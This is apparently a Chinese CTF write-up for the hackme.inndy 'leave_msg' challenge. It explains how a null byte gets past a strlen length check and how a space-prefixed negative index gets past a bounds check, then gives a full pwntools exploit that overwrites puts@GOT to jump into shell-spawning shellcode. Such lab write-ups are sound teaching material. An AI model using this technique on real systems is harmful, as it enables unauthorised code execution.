本文最后更新于:星期三, 一月 2日 2019, 4:14 下午
防护机制:
[*] '/home/zs0zrc/pwn/Scoreboard/leave_msg/leave_msg'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
只开启了Canary,没开NX,说明应该是要写shellcode
拖入ida反编译,发现程序的功能很简单。可以输入三次message,每次输入message后还要输入要插入的位置的下标slot。并且程序会对message的长度进行检查和输入的slot的大小进行检查。
对message长度的检查:
v3 = atoi(&nptr);
if ( strlen(&buf) > 8 )
{
puts("Message too long, truncated.");
v6 = 0;
}
对slot大小的检查:
if ( v3 <= 64 && nptr != '-' )
dword_804A060[v3] = (int)strdup(&buf);
else
puts("Out of bound.");
}
两个check都过了的话就将输入的message存到bss段的一个全局数组变量中去,存储的位置由输入的下标slot决定。这里只要绕过这两个check就可以改写got表的内容了。
strlen函数:它根据碰到的第一个’\0’来计算字符串的长度,所以可以在字符串前面加’\0’来绕过检查。
nptr != ‘-‘ 可以通过在’-‘符号前加一个空格来绕过
检查绕过后,可以修改got表 puts函数的内容为 ’add esp,0x36;jmp esp’来跳转到shellcode去,然后执行shellcode,这个0x38是调试出来的
0x36 = 0x30 + len(asm("add esp,0x36;jmp esp")) + 1
exp:
#!/usr/bin/env python
from pwn import *
local = 1
if local:
p = process('./leave_msg')
elf = ELF('./leave_msg')
libc = elf.libc
else:
host = 'hackme.inndy.tw'
port = '7715'
p = remote(host,port)
elf = ELF('./leave_msg')
context.arch = elf.arch
context.terminal = ['tmux', 'splitw', '-h']
context.log_level='debug'
def sd(content):
p.send(content)
def sl(content):
p.sendline(content)
def rc():
return p.recv()
def ru(content):
return p.recvuntil(content)
def debug(addr,PIE=False):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))
shellcode = asm("add esp,0x36;jmp esp")
shellcode += '\x00'
shellcode += asm(shellcraft.sh())
ru("I'm busy. Please leave your message:\n")
sd(shellcode)
ru("Which message slot?\n")
sd(' -16')
p.interactive()
hackme.inndy_writeup writeup pwn
本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!